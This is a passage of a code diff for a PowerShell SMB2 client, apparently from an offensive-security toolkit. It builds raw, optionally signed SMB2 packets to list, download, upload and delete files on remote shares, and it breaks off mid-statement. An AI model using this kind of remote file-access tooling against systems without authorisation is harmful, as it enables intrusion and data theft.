$client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'Exit' } - if($directory_contents_output -and !$Modify) + 'ParseDirectoryContents' { + $subdirectory_list = New-Object System.Collections.ArrayList + $create_response_file = [System.BitConverter]::ToString($client_receive) + $create_response_file = $create_response_file -replace "-","" + $directory_contents_mode_list = New-Object System.Collections.ArrayList + $directory_contents_create_time_list = New-Object System.Collections.ArrayList + $directory_contents_last_write_time_list = New-Object System.Collections.ArrayList + $directory_contents_length_list = New-Object System.Collections.ArrayList + $directory_contents_name_list = New-Object System.Collections.ArrayList - if($directory_contents_hide_headers) + if($directory_list.Count -gt 0) { - ($directory_contents_output | Format-Table -Property @{ Name="Mode"; Expression={$_.Mode }; Alignment="left"; }, - @{ Name="LastWriteTime"; Expression={$_.LastWriteTime }; Alignment="right"; }, - @{ Name="Length"; Expression={$_.Length }; Alignment="right"; }, - @{ Name="Name"; Expression={$_.Name }; Alignment="left"; } -AutoSize -HideTableHeaders -Wrap| Out-String).Trim() + $create_response_file_index = 152 + $directory_list.RemoveAt(0) > $null } else { - $directory_contents_hide_headers = $true - ($directory_contents_output | Format-Table -Property @{ Name="Mode"; Expression={$_.Mode }; Alignment="left"; }, - @{ Name="LastWriteTime"; Expression={$_.LastWriteTime }; Alignment="right"; }, - @{ Name="Length"; Expression={$_.Length }; Alignment="right"; }, - @{ Name="Name"; Expression={$_.Name }; Alignment="left"; } -AutoSize -Wrap| Out-String).Trim() + $create_response_file_index = $create_response_file.Substring(10).IndexOf("FE534D42") + 154 } - } - else - { - $directory_contents_output - } + do + { + $SMB_next_offset = [System.BitConverter]::ToUInt32($client_receive[($create_response_file_index / 2 + $SMB_offset)..($create_response_file_index / 2 + 3 + $SMB_offset)],0) + $SMB_file_length = [System.BitConverter]::ToUInt32($client_receive[($create_response_file_index / 2 + 40 + $SMB_offset)..($create_response_file_index / 2 + 47 + $SMB_offset)],0) + $SMB_file_attributes = [Convert]::ToString($client_receive[($create_response_file_index / 2 + 56 + $SMB_offset)],2).PadLeft(16,'0') - $subdirectory_list.Reverse() > $null + if($SMB_file_length -eq 0) + { + $SMB_file_length = $null + } - ForEach($subdirectory in $subdirectory_list) - { - $directory_list.Insert(0,($root_directory + $subdirectory)) > $null - } - - $SMB_offset = 0 - $SMB_client_stage = 'CloseRequest' - } - - 'FindRequest' - { - $SMB_file_ID = $SMB_client_receive[132..147] - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes - $packet_SMB2_header["SMB2Header_NextCommand"] = 0x68,0x00,0x00,0x00 + if($SMB_file_attributes.Substring(11,1) -eq '1') + { + $SMB_file_mode = "d" + } + else + { + $SMB_file_mode = "-" + } - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } + if($SMB_file_attributes.Substring(10,1) -eq '1') + { + $SMB_file_mode+= "a" + } + else + { + $SMB_file_mode+= "-" + } - $packet_SMB2_data = Get-PacketSMB2FindRequestFile $SMB_file_ID 0x00,0x00,0x00,0x00,0x00,0x00 - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + if($SMB_file_attributes.Substring(15,1) -eq '1') + { + $SMB_file_mode+= "r" + } + else + { + $SMB_file_mode+= "-" + } - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + if($SMB_file_attributes.Substring(14,1) -eq '1') + { + $SMB_file_mode+= "h" + } + else + { + $SMB_file_mode+= "-" + } - $SMB2_message_ID++ - $packet_SMB2b_header = Get-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2b_header["SMB2Header_ProcessID"] = $process_ID_bytes + if($SMB_file_attributes.Substring(13,1) -eq '1') + { + $SMB_file_mode+= "s" + } + else + { + $SMB_file_mode+= "-" + } - if($SMB_signing) - { - $packet_SMB2b_header["SMB2Header_Flags"] = 0x0c,0x00,0x00,0x00 - } - else - { - $packet_SMB2b_header["SMB2Header_Flags"] = 0x04,0x00,0x00,0x00 - } + $file_create_time = [Datetime]::FromFileTime([System.BitConverter]::ToInt64($client_receive[($create_response_file_index / 2 + 8 + $SMB_offset)..($create_response_file_index / 2 + 15 + $SMB_offset)],0)) + $file_create_time = Get-Date $file_create_time -format 'M/d/yyyy h:mm tt' + $file_last_write_time = [Datetime]::FromFileTime([System.BitConverter]::ToInt64($client_receive[($create_response_file_index / 2 + 24 + $SMB_offset)..($create_response_file_index / 2 + 31 + $SMB_offset)],0)) + $file_last_write_time = Get-Date $file_last_write_time -format 'M/d/yyyy h:mm tt' + $SMB_filename_length = [System.BitConverter]::ToUInt32($client_receive[($create_response_file_index / 2 + 60 + $SMB_offset)..($create_response_file_index / 2 + 63 + $SMB_offset)],0) + $SMB_filename_unicode = $client_receive[($create_response_file_index / 2 + 104 + $SMB_offset)..($create_response_file_index / 2 + 104 + $SMB_offset + $SMB_filename_length - 1)] + $SMB_filename = [System.BitConverter]::ToString($SMB_filename_unicode) + $SMB_filename = $SMB_filename -replace "-00","" - $packet_SMB2b_data = Get-PacketSMB2FindRequestFile $SMB_file_ID - $packet_SMB2b_data["SMB2FindRequestFile_OutputBufferLength"] = 0x80,0x00,0x00,0x00 - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length) ($SMB2_data.Length + $SMB2b_data.Length) - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + if($SMB_filename.Length -gt 2) + { + $SMB_filename = $SMB_filename.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_filename_extract = New-Object System.String ($SMB_filename,0,$SMB_filename.Length) + } + else + { + $SMB_filename_extract = [String][Char][System.Convert]::ToInt16($SMB_filename,16) + } - if($SMB_signing) - { - $SMB2_sign = $SMB2b_header + $SMB2b_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2b_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - } + if(!$Modify) + { + $file_last_write_time = $file_last_write_time.PadLeft(19,0) + [String]$SMB_file_length = $SMB_file_length + $SMB_file_length = $SMB_file_length.PadLeft(15,0) + } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + if($SMB_file_attributes.Substring(11,1) -eq '1') + { - if($Action -eq 'Get' -and $action_step -eq 1) - { - $find_response = [System.BitConverter]::ToString($SMB_client_receive) - $find_response = $find_response -replace "-","" - $file_unicode = [System.BitConverter]::ToString([System.Text.Encoding]::Unicode.GetBytes($source_file)) - $file_unicode = $file_unicode -replace "-","" - $file_size_index = $find_response.IndexOf($file_unicode) - 128 - $file_size = [System.BitConverter]::ToUInt32($SMB_client_receive[($file_size_index / 2)..($file_size_index / 2 + 7)],0) - $action_step++ - $create_request_extra_info = 1 - $SMB_client_stage = 'CreateRequest' + if($SMB_filename_extract -ne '.' -and $SMB_filename_extract -ne '..') + { + $subdirectory_list.Add($SMB_filename_unicode) > $null + $directory_contents_name_list.Add($SMB_filename_extract) > $null + $directory_contents_mode_list.Add($SMB_file_mode) > $null + $directory_contents_length_list.Add($SMB_file_length) > $null + $directory_contents_last_write_time_list.Add($file_last_write_time) > $null + $directory_contents_create_time_list.Add($file_create_time) > $null + } - if($share_subdirectory -eq $file) - { - $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($file) - } - else - { - $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) + } + else + { + $directory_contents_name_list.Add($SMB_filename_extract) > $null + $directory_contents_mode_list.Add($SMB_file_mode) > $null + $directory_contents_length_list.Add($SMB_file_length) > $null + $directory_contents_last_write_time_list.Add($file_last_write_time) > $null + $directory_contents_create_time_list.Add($file_create_time) > $null + } + + if($share_subdirectory -and !$share_subdirectory_start) + { + $root_directory_string = $share_subdirectory + '\' + } + + $SMB_offset += $SMB_next_offset } + until($SMB_next_offset -eq 0) - } - else - { - $SMB_client_stage = 'ParseDirectoryContents' - } + if($directory_contents_name_list) + { - } - - 'CloseRequest' - { + if($root_directory_string) + { + $file_directory = $target_share + "\" + $root_directory_string.Substring(0,$root_directory_string.Length - 1) + } + else + { + $file_directory = $target_share + } - if(!$SMB_file_ID) - { - $SMB_file_ID = $SMB_client_receive[132..147] - } + } - $SMB2_message_ID ++ - $packet_SMB2_header = Get-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SMB2_data = Get-PacketSMB2CloseRequest $SMB_file_ID - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $directory_contents_output = @() + $i = 0 - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + ForEach($directory in $directory_contents_name_list) + { + $directory_object = New-Object PSObject + Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Name -Value ($file_directory + "\" + $directory_contents_name_list[$i]) + Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Mode -Value $directory_contents_mode_list[$i] + Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Length -Value $directory_contents_length_list[$i] - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_file_ID = '' + if($Modify) + { + Add-Member -InputObject $directory_object -MemberType NoteProperty -Name CreateTime -Value $directory_contents_create_time_list[$i] + } - if($directory_list.Count -gt 0 -and $Action -eq 'Recurse') - { - $SMB2_file = $directory_list[0] - $root_directory = $SMB2_file + 0x5c,0x00 - $create_request_extra_info = 1 - $SMB_client_stage = 'CreateRequest' + Add-Member -InputObject $directory_object -MemberType NoteProperty -Name LastWriteTime -Value $directory_contents_last_write_time_list[$i] + $directory_contents_output += $directory_object + $i++ + } - if($root_directory.Count -gt 2) + if($directory_contents_output -and !$Modify) { - $root_directory_extract = [System.BitConverter]::ToString($root_directory) - $root_directory_extract = $root_directory_extract -replace "-00","" - if($root_directory.Length -gt 2) + if($directory_contents_hide_headers) { - $root_directory_extract = $root_directory_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $root_directory_string = New-Object System.String ($root_directory_extract,0,$root_directory_extract.Length) + ($directory_contents_output | Format-Table -Property @{ Name="Mode"; Expression={$_.Mode }; Alignment="left"; }, + @{ Name="LastWriteTime"; Expression={$_.LastWriteTime }; Alignment="right"; }, + @{ Name="Length"; Expression={$_.Length }; Alignment="right"; }, + @{ Name="Name"; Expression={$_.Name }; Alignment="left"; } -AutoSize -HideTableHeaders -Wrap| Out-String).Trim() } else { - $root_directory_string = [Char][System.Convert]::ToInt16($SMB2_file,16) + $directory_contents_hide_headers = $true + ($directory_contents_output | Format-Table -Property @{ Name="Mode"; Expression={$_.Mode }; Alignment="left"; }, + @{ Name="LastWriteTime"; Expression={$_.LastWriteTime }; Alignment="right"; }, + @{ Name="Length"; Expression={$_.Length }; Alignment="right"; }, + @{ Name="Name"; Expression={$_.Name }; Alignment="left"; } -AutoSize -Wrap| Out-String).Trim() } } + else + { + $directory_contents_output + } + + $subdirectory_list.Reverse() > $null + ForEach($subdirectory in $subdirectory_list) + { + $directory_list.Insert(0,($root_directory + $subdirectory)) > $null + } + + $SMB_offset = 0 + $stage = 'CloseRequest' } - elseif($Action -eq 'Get' -and $action_step -eq 1) + + 'QueryInfoRequest' { + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_header["NextCommand"] = $header_next_command + $packet_SMB2_data = New-PacketSMB2QueryInfoRequest $query_info_request_info_type_1 $query_info_request_file_info_class_1 $query_info_request_output_buffer_length_1 $query_info_request_input_buffer_offset_1 $file_ID $query_info_request_buffer_1 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - if($share_subdirectory -eq $source_file) + if($SMB_signing) { - $SMB2_file = "" + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $message_ID++ + $packet_SMB2b_header = New-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + + if($SMB_signing) + { + $packet_SMB2b_header["Flags"] = 0x0c,0x00,0x00,0x00 } else { - $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory.Replace('\' + $source_file,'')) + $packet_SMB2b_header["Flags"] = 0x04,0x00,0x00,0x00 } - $create_request_extra_info = 1 - $SMB_client_stage = 'CreateRequest' - } - elseif($Action -eq 'Delete') - { - - switch($action_step) + $packet_SMB2b_data = New-PacketSMB2QueryInfoRequest $query_info_request_info_type_2 $query_info_request_file_info_class_2 $query_info_request_output_buffer_length_2 $query_info_request_input_buffer_offset_2 $file_ID $query_info_request_buffer_2 + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header + $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length) ($SMB2_data.Length + $SMB2b_data.Length) + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2b_header + $SMB2b_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2b_header["Signature"] = $SMB2_signature + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header + } + + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if($share_subdirectory_start) + { + $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) + $root_directory = $file + 0x5c,0x00 + $create_request_extra_info = 1 + $stage = 'CreateRequest' + } + elseif($Action -eq 'Get') { - 0 + switch($action_step) { - if($share_subdirectory -eq $source_file) + 5 { - $SMB2_file = "" + $query_info_response = [System.BitConverter]::ToString($client_receive) + $query_info_response = $query_info_response -replace "-","" + $file_stream_size_index = $query_info_response.Substring(10).IndexOf("FE534D42") + 170 + $file_stream_size = [System.BitConverter]::ToUInt32($client_receive[($file_stream_size_index / 2)..($file_stream_size_index / 2 + 8)],0) + $file_stream_size_quotient = [Math]::Truncate($file_stream_size / 65536) + $file_stream_size_remainder = $file_stream_size % 65536 + $percent_complete = $file_stream_size_quotient + + if($file_stream_size_remainder -ne 0) + { + $percent_complete++ + } + + if($file_stream_size -lt 1024) + { + $progress_file_size = "" + $file_stream_size + "B" + } + elseif($file_stream_size -lt 1024000) + { + $progress_file_size = "" + ($file_stream_size / 1024).ToString('.00') + "KB" + } + else + { + $progress_file_size = "" + ($file_stream_size / 1024000).ToString('.00') + "MB" + } + + $header_next_command = 0x70,0x00,0x00,0x00 + $query_info_request_info_type_1 = 0x02 + $query_info_request_file_info_class_1 = 0x01 + $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_1 = 0x00,0x00 + $query_info_request_buffer_1 = 8 + $query_info_request_info_type_2 = 0x02 + $query_info_request_file_info_class_2 = 0x05 + $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_2 = 0x00,0x00 + $query_info_request_buffer_2 = 1 + $action_step++ + $stage = 'QueryInfoRequest' } - else + + 6 { - $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory.Replace('\' + $source_file,'')) - } - $create_request_extra_info = 1 - $SMB_client_stage = 'CreateRequest' - $action_step++ + if($file_stream_size -lt 65536) + { + $read_request_length = $file_stream_size + } + else + { + $read_request_length = 65536 + } + + $read_request_offset = 0 + $read_request_step = 1 + $action_step++ + $stage = 'ReadRequest' + } } + } + elseif($Action -eq 'Put') + { + $percent_complete = $source_file_size_quotient - 1 + if($source_file_size_remainder -ne 0) { - $SMB_client_stage = 'CreateRequestFindRequest' + $percent_complete++ } - 3 + if($source_file_size -lt 1024) + { + $progress_file_size = "" + $source_file_size + "B" + } + elseif($source_file_size -lt 1024000) { - $SMB_client_stage = 'TreeDisconnect' + $progress_file_size = "" + ($source_file_size / 1024).ToString('.00') + "KB" + } + else + { + $progress_file_size = "" + ($source_file_size / 1024000).ToString('.00') + "MB" } + $action_step++ + $set_info_request_file_info_class = 0x01 + $set_info_request_info_level = 0x14 + $set_info_request_buffer = [System.BitConverter]::GetBytes($source_file_size) + $stage = 'SetInfoRequest' + } + elseif($Action -eq 'Delete') + { + $stage = 'CreateRequest' + } + else + { + $stage = 'CreateRequestFindRequest' } } - elseif($share_subdirectory_start) - { - $share_subdirectory_start = $false - $SMB_client_stage = 'CreateRequestFindRequest' - } - else - { - $SMB_client_stage = 'TreeDisconnect' - } - } - - 'ReadRequest' - { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditCharge"] = 0x01,0x00 - - if($SMB_signing) + 'ReadRequest' { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2ReadRequest $read_request_length $read_request_offset $file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $packet_SMB2_data = Get-PacketSMB2ReadRequest $read_request_length $read_request_offset $SMB_file_ID - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + Start-Sleep -m 5 - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - Start-Sleep -m 5 + if($read_request_length -eq 65536) + { + $i = 0 - if($read_request_length -eq 65536) - { - $i = 0 + while($client.Available -lt 8192 -and $i -lt 10) + { + Start-Sleep -m $Sleep + $i++ + } - while($SMB_client.Available -lt 8192 -and $i -lt 10) + } + else { Start-Sleep -m $Sleep - $i++ } + + $client_stream.Read($client_receive,0,$client_receive.Length) > $null - } - else - { - Start-Sleep -m $Sleep - } - - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + if($Action -eq 'Get' -and $action_step -eq 3) + { + $action_step++ + $create_request_extra_info = 1 + $stage = 'CreateRequest' + } + elseif($Action -eq 'Get' -and $action_step -eq 7) + { + + if(!$NoProgress) + { + $percent_complete_calculation = [Math]::Truncate($read_request_step / $percent_complete * 100) + Write-Progress -Activity "Downloading $source_file - $progress_file_size" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation + } + + $file_bytes = $client_receive[84..($read_request_length + 83)] + + if(!$Modify) + { + + if(!$file_write) + { + $file_write = New-Object 'System.IO.FileStream' $destination_path,'Append','Write','Read' + } + + $file_write.Write($file_bytes,0,$file_bytes.Count) + } + else + { + $file_memory.AddRange($file_bytes) + } + + if($read_request_step -lt $file_stream_size_quotient) + { + $read_request_offset+=65536 + $read_request_step++ + $stage = 'ReadRequest' + } + elseif($read_request_step -eq $file_stream_size_quotient -and $file_stream_size_remainder -ne 0) + { + $read_request_length = $file_stream_size_remainder + $read_request_offset+=65536 + $read_request_step++ + $stage = 'ReadRequest' + } + else + { + + if(!$Modify) + { + $file_write.Close() + } + else + { + [Byte[]]$file_memory = $file_memory + ,$file_memory + } + + $output_message = "[+] File downloaded" + $stage = 'CloseRequest' + } + + } + elseif([System.BitConverter]::ToString($client_receive[12..15]) -ne '03-01-00-00') + { + $stage = 'CloseRequest' + } + else + { + $stage = 'CloseRequest' + } - if($Action -eq 'Get' -and $action_step -eq 3) - { - $action_step++ - $create_request_extra_info = 1 - $SMB_client_stage = 'CreateRequest' } - elseif($Action -eq 'Get' -and $action_step -eq 7) + + 'SetInfoRequest' { + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x11,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2SetInfoRequest $set_info_request_file_info_class $set_info_request_info_level $file_ID $set_info_request_buffer + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - if(!$NoProgress) + if($SMB_signing) { - $percent_complete_calculation = [Math]::Truncate($read_request_step / $percent_complete * 100) - Write-Progress -Activity "Downloading $source_file - $progress_file_size" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - $file_bytes = $SMB_client_receive[84..($read_request_length + 83)] - - if(!$Modify) + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if($source_file_size -le 65536) + { + $write_request_length = $source_file_size + } + else { + $write_request_length = 65536 + } - if(!$file_write) - { - $file_write = New-Object 'System.IO.FileStream' $destination_path,'Append','Write','Read' - } + $write_request_offset = 0 + $write_request_step = 1 - $file_write.Write($file_bytes,0,$file_bytes.Count) + if($Action -eq 'Delete') + { + $output_message = "[+] File deleted" + $stage = 'CloseRequest' + $action_step++ + } + elseif($Action -eq 'Put' -and $action_step -eq 4) + { + $output_message = "[+] File uploaded" + $stage = 'CloseRequest' } else { - $file_memory.AddRange($file_bytes) + $stage = 'WriteRequest' + } + + } + + 'TreeConnect' + { + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x1f,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - if($read_request_step -lt $file_stream_size_quotient) + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + + try { - $read_request_offset+=65536 - $read_request_step++ - $SMB_client_stage = 'ReadRequest' + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null } - elseif($read_request_step -eq $file_stream_size_quotient -and $file_stream_size_remainder -ne 0) + catch { - $read_request_length = $file_stream_size_remainder - $read_request_offset+=65536 - $read_request_step++ - $SMB_client_stage = 'ReadRequest' + Write-Output "[-] Session connection is closed" + $stage = 'Exit' } - else + + if($stage -ne 'Exit') { - if(!$Modify) + if([System.BitConverter]::ToString($client_receive[12..15]) -ne '00-00-00-00') + { + $error_code = [System.BitConverter]::ToString($client_receive[12..15]) + + switch($error_code) + { + + 'cc-00-00-c0' + { + $output_message = "[-] Share not found" + $stage = 'Exit' + } + + '22-00-00-c0' + { + $output_message = "[-] Access denied" + $stage = 'Exit' + } + + default + { + $error_code = $error_code -replace "-","" + $output_message = "[-] Tree connect error code 0x$error_code" + $stage = 'Exit' + } + + } + + } + elseif($refresh) { - $file_write.Close() + Write-Output "[+] Session refreshed" + $stage = 'Exit' } - else + elseif(!$SMB_IPC) { - $file_memory.ToArray() + $SMB_share_path = "\\" + $Target + "\" + $Share + $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_share_path) + $SMB_IPC = $true + $stage = 'IoctlRequest' + $file = "" } + else + { - $output_message = "File downloaded" - $SMB_client_stage = 'CloseRequest' - } - - } - elseif([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') - { - $SMB_client_stage = 'CloseRequest' - } - else - { - $SMB_client_stage = 'CloseRequest' - } + if($Action -eq 'Put') + { + $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) + $create_request_extra_info = 2 + } + else + { + $create_request_extra_info = 1 + } - } + $tree_ID = $client_receive[40..43] + $stage = 'CreateRequest' - 'WriteRequest' - { + if($Action -eq 'Get') + { + $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) + } - if(!$Modify) - { - $source_file_binary_reader.BaseStream.Seek($write_request_offset,"Begin") > $null - $source_file_binary_reader.Read($source_file_buffer,0,$source_file_buffer_size) > $null - } - else - { - $source_file_buffer = $Source[$write_request_offset..($write_request_offset+$write_request_length)] - } + } + + } - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditCharge"] = 0x01,0x00 - - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 } - - $packet_SMB2_data = Get-PacketSMB2WriteRequest $write_request_length $write_request_offset $SMB_file_ID $source_file_buffer - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = 